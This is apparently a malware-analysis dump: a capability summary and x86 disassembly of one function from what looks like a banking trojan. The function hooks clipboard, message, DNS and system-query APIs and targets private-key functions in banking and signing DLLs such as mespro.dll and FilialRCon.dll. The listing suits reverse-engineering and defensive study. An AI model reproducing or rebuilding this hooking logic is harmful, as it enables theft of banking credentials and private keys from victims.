Function at 0x10015230
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x10003ae0
push 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
mov eax, 0x1004fda8
push 0
push 0
mov dword [0x1004fdac], eax
mov dword [0x1004fda8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x1001a2b0
push 0
push 0
mov dword [0x1004fca4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100152d8
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100152d8
test byte [ebp - 4], 2
jne 0x100152d8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x1004fb50
call ebx
call fcn.10012260
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push 0
push 0
push str.user32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10015321
push str.GetClipboardData
push eax
call edi
test eax, eax
je 0x10015321
push 0x10059efc
push 0x10012e30
push eax
call fcn.1001a040
push 0
push 0
push str.user32.dll
call esi
mov esi, eax
test esi, esi
je 0x10015386
push 0x100498b0
push esi
call edi
test eax, eax
je 0x10015386
push 0x1005a00c
push 0x10013e50
push eax
call fcn.1001a040
push str.GetMessageA
push esi
call edi
test eax, eax
je 0x10015386
push 0x1005a010
push 0x10013f80
push eax
call fcn.1001a040
push str.GetMessageW
push esi
call edi
test eax, eax
je 0x10015386
push 0x1005a014
push 0x100140b0
push eax
call fcn.1001a040
push 0x1004fb38
call ebx
push 0x1004622c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100153b8
push str.ZwQuerySystemInformation
push eax
call edi
test eax, eax
je 0x100153b8
push 0x10059e88
push 0x10007760
push eax
call fcn.1001a040
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10024450
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, dword [sym.imp.USER32.dll_GetUserObjectInformationA]
test eax, eax
je 0x10015412
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x10015412
push 0x1005b014
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10015412
call fcn.100082e0
jmp 0x10015441
push 0
push 0
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
je 0x10015441
push 0x10049294
push eax
call edi
test eax, eax
je 0x10015441
push 0x1004eb74
push 0x1000b930
push eax
call fcn.1001a040
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.10024450
test eax, eax
je 0x1001548c
call esi
lea ecx, [ebp - 4]
push ecx
push 0x100
lea edx, [ebp - 0x208]
push edx
push 2
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call ebx
test eax, eax
je 0x1001548c
push 0x1005b014
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100155f7
cmp dword [ebp + 8], 0
jne 0x100155f7
call fcn.100192d0
call fcn.10001660
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.java
lea ecx, [ebp - 0x108]
push ecx
call esi
test eax, eax
je 0x100154ce
push str..exe
lea edx, [ebp - 0x108]
push edx
call esi
test eax, eax
jne 0x100155f7
push str.frd.exe
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
jne 0x100155f7
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push eax
push eax
push str.ws2_32.dll
call ebx
mov esi, eax
test esi, esi
je 0x1001554d
push str.getaddrinfo
push esi
call edi
test eax, eax
je 0x10015515
push 0x10059c5c
push 0x100056f0
push eax
call fcn.1001a040
push str.gethostbyname
push esi
call edi
test eax, eax
je 0x10015531
push 0x10059d64
push 0x100057d0
push eax
call fcn.1001a040
push str.inet_addr
push esi
call edi
test eax, eax
je 0x1001554d
push 0x10059e6c
push 0x10005900
push eax
call fcn.1001a040
push 0x1004fb20
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, 0x1004fb18
mov dword [0x1004fb1c], eax
mov dword [0x1004fb18], eax
call fcn.10011660
call fcn.10010ef0
call fcn.1000fcf0
push 0
push 0
push str.sks2xyz.dll
call ebx
test eax, eax
je 0x100155a1
push str.vb_pfx_import
push eax
call edi
test eax, eax
je 0x100155a1
push 0x1005a298
push 0x1001eb30
push eax
call fcn.1001a040
push 0
push 0
push str.FilialRCon.dll
call ebx
test eax, eax
je 0x100155cc
push str.RCN_R50Buffer
push eax
call edi
test eax, eax
je 0x100155cc
push 0x1005a2c0
push 0x10021b60
push eax
call fcn.1001a040
push 0
push 0
push str.mespro.dll
call ebx
test eax, eax
je 0x100155f7
push str.AddPSEPrivateKeyEx
push eax
call edi
test eax, eax
je 0x100155f7
push 0x1005a2d4
push 0x10023a00
push eax
call fcn.1001a040
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4